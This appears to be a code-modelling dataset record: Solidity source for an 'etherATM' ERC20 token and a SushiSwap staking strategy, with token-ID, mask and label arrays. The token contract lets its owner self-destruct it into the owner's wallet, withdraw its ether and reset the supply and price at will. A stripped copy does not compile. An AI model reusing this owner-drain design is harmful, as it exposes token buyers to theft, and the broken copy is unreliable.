_balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.7.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address payable) { return address(uint160(_owner)); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: eth-token-recover/contracts/TokenRecover.sol pragma solidity ^0.7.0; /** * @title TokenRecover * @dev Allow to recover any ERC20 sent into the contract for error */ contract TokenRecover is Ownable { /** * @dev Remember that only owner can call so be careful when use on contracts generated from other contracts. * @param tokenAddress The token contract address * @param tokenAmount Number of tokens to be sent */ function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } } // File: contracts/service/ServiceReceiver.sol pragma solidity ^0.7.0; /** * @title ServiceReceiver * @dev Implementation of the ServiceReceiver */ contract ServiceReceiver is TokenRecover { mapping (bytes32 => uint256) private _prices; event Created(string serviceName, address indexed serviceAddress); function pay(string memory serviceName) public payable { require(msg.value == _prices[_toBytes32(serviceName)], "ServiceReceiver: incorrect price"); emit Created(serviceName, _msgSender()); } function getPrice(string memory serviceName) public view returns (uint256) { return _prices[_toBytes32(serviceName)]; } function setPrice(string memory serviceName, uint256 amount) public onlyOwner { _prices[_toBytes32(serviceName)] = amount; } function withdraw(uint256 amount) public onlyOwner { payable(owner()).transfer(amount); } function _toBytes32(string memory serviceName) private pure returns (bytes32) { return keccak256(abi.encode(serviceName)); } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.7.0; /** * @title ServicePayer * @dev Implementation of the ServicePayer */ contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { ServiceReceiver(receiver).pay{value: msg.value}(serviceName); } } pragma solidity ^0.7.0; /** * @title etherATM-DeFi */ contract etherATM_DeFi_v1 is ERC20, Ownable { using SafeMath for uint256; using Address for address; event Reserved(address indexed from, uint256 value); uint256 private _currentSupply = 0; uint256 private _softLimit = 99999000000000000000000; uint256 private _hardLimit = 99999000000000000000000; uint256 private _baseSlab = 0; uint256 private _basePriceWei = 16000000000000000; uint256 private _incrementWei = 666700000000; uint256 private _buyFee = 50; uint256 private _buyCommission = 4500; uint256 private _sellCommission = 5000; uint256 private _maxHolding = 1100000000000000000000; //in EATM uint256 private _maxSellBatch = 1100000000000000000000; //in EATM address payable _commissionReceiver; address payable _feeReceiver; constructor ( string memory name, string memory symbol, uint8 decimals, address payable commissionReceiver, address payable feeReceiver ) ERC20(name, symbol) payable { _setupDecimals(decimals); _commissionReceiver = commissionReceiver; _feeReceiver = feeReceiver; } function percent(uint numerator, uint denominator, uint precision) public pure returns(uint quotient) { // caution, check safe-to-multiply here uint _numerator = numerator * 10 ** (precision+1); // with rounding of last digit uint _quotient = ((_numerator / denominator) + 5) / 10; return ( _quotient); } receive() external payable{ emit Reserved(msg.sender, msg.value); } function setIncrement(uint256 increment) external onlyOwner(){ _incrementWei = increment; } function getIncrement() public view returns (uint256){ return _incrementWei; } function getHardLimit() public view returns (uint256){ return _hardLimit; } function getSoftLimit() public view returns (uint256){ return _softLimit; } function setMaxHolding(uint256 limit) external onlyOwner(){ _maxHolding = limit; } function getMaxHolding() public view returns (uint256){ return _maxHolding; } function setMaxSellBatch(uint256 limit) external onlyOwner(){ _maxSellBatch = limit; } function getMaxSellBatch() public view returns (uint256){ return _maxSellBatch; } function setCommissionReceiver(address payable rec) external onlyOwner(){ _commissionReceiver = rec; } function getCommissionReceiver() public view returns (address){ return _commissionReceiver; } function setFeeReceiver(address payable rec) external onlyOwner(){ _feeReceiver = rec; } function getFeeReceiver() public view returns (address){ return _feeReceiver; } function getCurrentSupply() public view returns (uint256){ return _currentSupply; } function setCurrentSupply(uint256 cs) external onlyOwner(){ _currentSupply = cs * 1 ether; } function getBaseSlab() public view returns (uint256){ return _baseSlab; } function setBaseSlab(uint256 bs) external onlyOwner(){ _baseSlab = bs * 1 ether; } function getBasePrice() public view returns (uint256){ return _basePriceWei; } function getBuyFee() public view returns (uint256){ return _buyFee; } function getBuyCommission() public view returns (uint256){ return _buyCommission; } function getSellCommission() public view returns (uint256){ return _sellCommission; } function setBuyCommission(uint256 bc) external onlyOwner(){ _buyCommission = bc; } function setBuyFee(uint256 bf) external onlyOwner(){ _buyFee = bf; } function setSellCommission(uint256 sc) external onlyOwner(){ _sellCommission = sc; } function setBasePrice(uint256 bp) external onlyOwner(){ _basePriceWei = bp; } function updateSlabs(uint256 bs, uint256 bp, uint256 increment) external onlyOwner(){ _basePriceWei = bp; _baseSlab = bs * 1 ether; _incrementWei = increment; } function getCurrentPrice() public view returns (uint256){ uint256 additionalTokens = _currentSupply.sub( _baseSlab, "An error has occurred"); uint256 increment = ((additionalTokens * _incrementWei) / 1 ether); uint256 price = _basePriceWei.add(increment); return price; } function transferTo(address to, uint256 value, bool convert_to_wei) internal { require(to != address(0), "etherATM: transfer to zero address"); deploy(to, value, convert_to_wei); } function transferTo(address to, uint256 value) internal { require(to != address(0), "etherATM: transfer to zero address"); deploy(to, value); } function deploy(address to, uint256 value) internal { value = value * 1 ether; require((_currentSupply + value ) < _hardLimit , "Max supply reached"); require((balanceOf(to) + value ) < _maxHolding , "You cannot hold more EATM" ); _mint(to, value); _currentSupply = _currentSupply.add(value); } function deploy(address to, uint256 value, bool convert_to_wei) internal { if(convert_to_wei) value = value * 1 ether; require((_currentSupply + value ) < _hardLimit , "Max supply reached"); require((balanceOf(to) + value ) < _maxHolding , "You cannot hold more EATM" ); _mint(to, value); _currentSupply = _currentSupply.add(value); } function assassination() external onlyOwner() { selfdestruct(owner()); } function clean(uint256 _amount) external onlyOwner(){ require(address(this).balance > _amount, "Invalid digits"); owner().transfer(_amount); } function buyTokens() external payable{ uint256 value = msg.value; uint256 price = getCurrentPrice(); uint256 tokens = uint256(value.div(price)) ; uint256 token_wei = tokens * 1 ether; //reduce tokens by BUY_FEE uint256 fee = uint256((token_wei * _buyFee ) / 10000 ); uint256 commission = uint256((token_wei * _buyCommission ) / 100000 ); token_wei = token_wei.sub((fee + commission), "Calculation error"); require(balanceOf(_msgSender()) + token_wei < _maxHolding, "etherATM: You cannot buy more tokens"); transferTo(_msgSender(), token_wei, false); transferTo(_commissionReceiver, commission , false); transferTo(_feeReceiver, fee, false); } function sellTokens(uint256 amount) external { amount = amount * 1 ether; require(balanceOf(_msgSender()) >= amount, "etherATM: recipient account doesn't have enough balance"); require(amount <= _maxSellBatch, "etherATM: invalid sell quantity" ); _currentSupply = _currentSupply.sub(amount, "Base reached"); //reduce tokens by SELL_COMMISSION uint256 commission = uint256((amount * _sellCommission ) / 100000 ); amount = amount.sub((commission), "Calculation error"); uint256 wei_value = ((getCurrentPrice() * amount) / 1 ether); require(address(this).balance >= wei_value, "etherATM: invalid digits"); _burn(_msgSender(), (amount + commission)); transferTo(_commissionReceiver, commission, false); _msgSender().transfer(wei_value); } }
* @title etherATM-DeFi/
contract etherATM_DeFi_v1 is ERC20, Ownable { using SafeMath for uint256; using Address for address; event Reserved(address indexed from, uint256 value); uint256 private _currentSupply = 0; uint256 private _softLimit = 99999000000000000000000; uint256 private _hardLimit = 99999000000000000000000; uint256 private _baseSlab = 0; uint256 private _basePriceWei = 16000000000000000; uint256 private _incrementWei = 666700000000; uint256 private _buyFee = 50; uint256 private _buyCommission = 4500; uint256 private _sellCommission = 5000; address payable _commissionReceiver; address payable _feeReceiver; constructor ( string memory name, string memory symbol, uint8 decimals, address payable commissionReceiver, address payable feeReceiver ) ERC20(name, symbol) payable { _setupDecimals(decimals); _commissionReceiver = commissionReceiver; _feeReceiver = feeReceiver; } function percent(uint numerator, uint denominator, uint precision) public pure returns(uint quotient) { uint _numerator = numerator * 10 ** (precision+1); uint _quotient = ((_numerator / denominator) + 5) / 10; return ( _quotient); } receive() external payable{ emit Reserved(msg.sender, msg.value); } function setIncrement(uint256 increment) external onlyOwner(){ _incrementWei = increment; } function getIncrement() public view returns (uint256){ return _incrementWei; } function getHardLimit() public view returns (uint256){ return _hardLimit; } function getSoftLimit() public view returns (uint256){ return _softLimit; } function setMaxHolding(uint256 limit) external onlyOwner(){ _maxHolding = limit; } function getMaxHolding() public view returns (uint256){ return _maxHolding; } function setMaxSellBatch(uint256 limit) external onlyOwner(){ _maxSellBatch = limit; } function getMaxSellBatch() public view returns (uint256){ return _maxSellBatch; } function setCommissionReceiver(address payable rec) external onlyOwner(){ _commissionReceiver = rec; } function getCommissionReceiver() public view returns (address){ return _commissionReceiver; } function setFeeReceiver(address payable rec) external onlyOwner(){ _feeReceiver = rec; } function getFeeReceiver() public view returns (address){ return _feeReceiver; } function getCurrentSupply() public view returns (uint256){ return _currentSupply; } function setCurrentSupply(uint256 cs) external onlyOwner(){ _currentSupply = cs * 1 ether; } function getBaseSlab() public view returns (uint256){ return _baseSlab; } function setBaseSlab(uint256 bs) external onlyOwner(){ _baseSlab = bs * 1 ether; } function getBasePrice() public view returns (uint256){ return _basePriceWei; } function getBuyFee() public view returns (uint256){ return _buyFee; } function getBuyCommission() public view returns (uint256){ return _buyCommission; } function getSellCommission() public view returns (uint256){ return _sellCommission; } function setBuyCommission(uint256 bc) external onlyOwner(){ _buyCommission = bc; } function setBuyFee(uint256 bf) external onlyOwner(){ _buyFee = bf; } function setSellCommission(uint256 sc) external onlyOwner(){ _sellCommission = sc; } function setBasePrice(uint256 bp) external onlyOwner(){ _basePriceWei = bp; } function updateSlabs(uint256 bs, uint256 bp, uint256 increment) external onlyOwner(){ _basePriceWei = bp; _baseSlab = bs * 1 ether; _incrementWei = increment; } function getCurrentPrice() public view returns (uint256){ uint256 additionalTokens = _currentSupply.sub( _baseSlab, "An error has occurred"); uint256 increment = ((additionalTokens * _incrementWei) / 1 ether); uint256 price = _basePriceWei.add(increment); return price; } function transferTo(address to, uint256 value, bool convert_to_wei) internal { require(to != address(0), "etherATM: transfer to zero address"); deploy(to, value, convert_to_wei); } function transferTo(address to, uint256 value) internal { require(to != address(0), "etherATM: transfer to zero address"); deploy(to, value); } function deploy(address to, uint256 value) internal { value = value * 1 ether; require((_currentSupply + value ) < _hardLimit , "Max supply reached"); require((balanceOf(to) + value ) < _maxHolding , "You cannot hold more EATM" ); _mint(to, value); _currentSupply = _currentSupply.add(value); } function deploy(address to, uint256 value, bool convert_to_wei) internal { if(convert_to_wei) value = value * 1 ether; require((_currentSupply + value ) < _hardLimit , "Max supply reached"); require((balanceOf(to) + value ) < _maxHolding , "You cannot hold more EATM" ); _mint(to, value); _currentSupply = _currentSupply.add(value); } function assassination() external onlyOwner() { selfdestruct(owner()); } function clean(uint256 _amount) external onlyOwner(){ require(address(this).balance > _amount, "Invalid digits"); owner().transfer(_amount); } function buyTokens() external payable{ uint256 value = msg.value; uint256 price = getCurrentPrice(); uint256 tokens = uint256(value.div(price)) ; uint256 token_wei = tokens * 1 ether; uint256 fee = uint256((token_wei * _buyFee ) / 10000 ); uint256 commission = uint256((token_wei * _buyCommission ) / 100000 ); token_wei = token_wei.sub((fee + commission), "Calculation error"); require(balanceOf(_msgSender()) + token_wei < _maxHolding, "etherATM: You cannot buy more tokens"); transferTo(_msgSender(), token_wei, false); transferTo(_commissionReceiver, commission , false); transferTo(_feeReceiver, fee, false); } function sellTokens(uint256 amount) external { amount = amount * 1 ether; require(balanceOf(_msgSender()) >= amount, "etherATM: recipient account doesn't have enough balance"); require(amount <= _maxSellBatch, "etherATM: invalid sell quantity" ); _currentSupply = _currentSupply.sub(amount, "Base reached"); uint256 commission = uint256((amount * _sellCommission ) / 100000 ); amount = amount.sub((commission), "Calculation error"); uint256 wei_value = ((getCurrentPrice() * amount) / 1 ether); require(address(this).balance >= wei_value, "etherATM: invalid digits"); _burn(_msgSender(), (amount + commission)); transferTo(_commissionReceiver, commission, false); _msgSender().transfer(wei_value); } }
423,485
[ 1, 2437, 789, 49, 17, 758, 42, 77, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 225, 2437, 789, 49, 67, 758, 42, 77, 67, 90, 21, 353, 4232, 39, 3462, 16, 14223, 6914, 288, 203, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 203, 565, 871, 16237, 12, 2867, 8808, 628, 16, 2254, 5034, 460, 1769, 203, 203, 565, 2254, 5034, 3238, 389, 2972, 3088, 1283, 273, 374, 31, 203, 203, 565, 2254, 5034, 3238, 389, 9269, 3039, 273, 23841, 12648, 2787, 9449, 31, 203, 565, 2254, 5034, 3238, 389, 20379, 3039, 273, 23841, 12648, 2787, 9449, 31, 203, 203, 565, 2254, 5034, 3238, 389, 1969, 3738, 378, 273, 374, 31, 203, 565, 2254, 5034, 3238, 389, 1969, 5147, 3218, 77, 273, 2872, 12648, 17877, 31, 203, 203, 565, 2254, 5034, 3238, 389, 15016, 3218, 77, 273, 1666, 6028, 27, 12648, 31, 203, 565, 2254, 5034, 3238, 389, 70, 9835, 14667, 273, 6437, 31, 203, 565, 2254, 5034, 3238, 389, 70, 9835, 799, 3951, 273, 12292, 713, 31, 203, 565, 2254, 5034, 3238, 389, 87, 1165, 799, 3951, 273, 20190, 31, 203, 203, 203, 565, 1758, 8843, 429, 389, 832, 3951, 12952, 31, 203, 565, 1758, 8843, 429, 389, 21386, 12952, 31, 203, 203, 565, 3885, 261, 203, 3639, 533, 3778, 508, 16, 203, 3639, 533, 3778, 3273, 16, 203, 3639, 2254, 28, 15105, 16, 203, 3639, 1758, 8843, 429, 1543, 19710, 12952, 16, 203, 3639, 1758, 8843, 429, 14036, 12952, 203, 565, 262, 4232, 39, 3462, 12, 529, 16, 3273, 13, 8843, 429, 288, 203, 3639, 389, 2 ]
./full_match/43113/0x19dc831e7586475d83650Ad11d757eA2058133F7/sources/LdpCommissions.sol
mapping (address => bool) bearers; mapping of bearers (accounts) that belong to this account type
struct AccountType { bytes32 key; string name; AccType tag; }
13,175,445
[ 1, 6770, 261, 2867, 516, 1426, 13, 506, 297, 414, 31, 225, 2874, 434, 506, 297, 414, 261, 13739, 13, 716, 10957, 358, 333, 2236, 618, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 6590, 559, 288, 203, 3639, 1731, 1578, 498, 31, 203, 3639, 533, 508, 31, 203, 3639, 15980, 559, 1047, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./uniswapv2/interfaces/IUniswapV2Pair.sol"; import './uniswapv2/libraries/TransferHelper.sol'; import "./utils/MasterCaller.sol"; import "./interfaces/IProfitStrategy.sol"; import "./storage/StrategySushiStorage.sol"; interface IMasterChef { struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function pendingSushi(uint256 _pid, address _user) external view returns (uint256); function userInfo(uint256 _pid, address _user) external view returns (UserInfo memory _userInfo); } /** * mine SUSHI via SUSHIswap.MasterChef * will transferOnwership to stakeGatling */ contract ProfitStrategySushiDelegate is StrategySushiStorage, Ownable, IProfitStrategy { /** * Stake LP */ function stake(uint256 _amount) external override onlyOwner() { if(stakeRewards != address(0)) { IMasterChef(stakeRewards).deposit( pid, _amount); } } /** * withdraw LP */ function withdraw(uint256 _amount) public override onlyOwner() { if(stakeRewards != address(0) && _amount > 0) { IMasterChef(stakeRewards).withdraw(pid, _amount); TransferHelper.safeTransfer(stakeLpPair, address(stakeGatling),_amount); } } function burn(address _to, uint256 _amount) external override onlyOwner() returns (uint256 amount0, uint256 amount1) { if(stakeRewards != address(0) && _amount > 0) { IMasterChef(stakeRewards).withdraw(pid, _amount); TransferHelper.safeTransfer(stakeLpPair, stakeLpPair, _amount); (amount0, amount1) = IUniswapV2Pair(stakeLpPair).burn(_to); } } function stakeToken() external view override returns (address) { return stakeRewards; } function earnToken() external view override returns (address) { return earnTokenAddr; } function earnPending(address _account) external view override returns (uint256) { return IMasterChef(stakeRewards).pendingSushi(pid, _account); } function earn() external override onlyOwner() { IMasterChef(stakeRewards).deposit(pid, 0); transferEarn2Gatling(); } function earnTokenBalance(address _account) external view override returns (uint256) { return IERC20(earnTokenAddr).balanceOf(_account); } function balanceOfLP(address _account) external view override returns (uint256) { // return IMasterChef(stakeRewards).userInfo(pid, _account).amount; } /** * withdraw LP && earnToken */ function exit() external override onlyOwner() { withdraw(IMasterChef(stakeRewards).userInfo(pid, address(this)).amount); transferLP2Gatling(); transferEarn2Gatling(); } function transferLP2Gatling() private { uint256 _lpAmount = IERC20(stakeLpPair).balanceOf(address(this)); if(_lpAmount > 0) { TransferHelper.safeTransfer(stakeLpPair, stakeGatling, IERC20(stakeLpPair).balanceOf(address(this))); } } function transferEarn2Gatling() private { uint256 _tokenAmount = IERC20(earnTokenAddr).balanceOf(address(this)); if(_tokenAmount > 0) { TransferHelper.safeTransfer(earnTokenAddr, address(stakeGatling), _tokenAmount); } } } pragma solidity 0.6.12; interface IProfitStrategy { /** * @notice stake LP */ function stake(uint256 _amount) external; // owner /** * @notice withdraw LP */ function withdraw(uint256 _amount) external; // owner /** * @notice the stakeReward address */ function stakeToken() external view returns (address); /** * @notice the earn Token address */ function earnToken() external view returns (address); /** * @notice returns pending earn amount */ function earnPending(address _account) external view returns (uint256); /** * @notice withdaw earnToken */ function earn() external; /** * @notice return ERC20(earnToken).balanceOf(_account) */ function earnTokenBalance(address _account) external view returns (uint256); /** * @notice return LP amount in staking */ function balanceOfLP(address _account) external view returns (uint256); /** * @notice withdraw staked LP and earnToken assets */ function exit() external; // owner function burn(address _to, uint256 _amount) external returns (uint256 amount0, uint256 amount1); } pragma solidity 0.6.12; /** * mine SUSHI via SUSHIswap.MasterChef * will transferOnwership to stakeGatling */ contract StrategySushiStorage { //Sushi MasterChef address public constant stakeRewards = 0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd; // UniLP ([usdt-eth].part) address public stakeLpPair; //earnToken address public constant earnTokenAddr = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2; address public stakeGatling; address public admin; uint256 public pid; event AdminChanged(address previousAdmin, address newAdmin); } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; contract MasterCaller { address private _master; event MastershipTransferred(address indexed previousMaster, address indexed newMaster); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _master = msg.sender; emit MastershipTransferred(address(0), _master); } /** * @dev Returns the address of the current MasterCaller. */ function masterCaller() public view returns (address) { return _master; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyMasterCaller() { require(_master == msg.sender, "Master: caller is not the master"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferMastership(address newMaster) public virtual onlyMasterCaller { require(newMaster != address(0), "Master: new owner is the zero address"); emit MastershipTransferred(_master, newMaster); _master = newMaster; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { 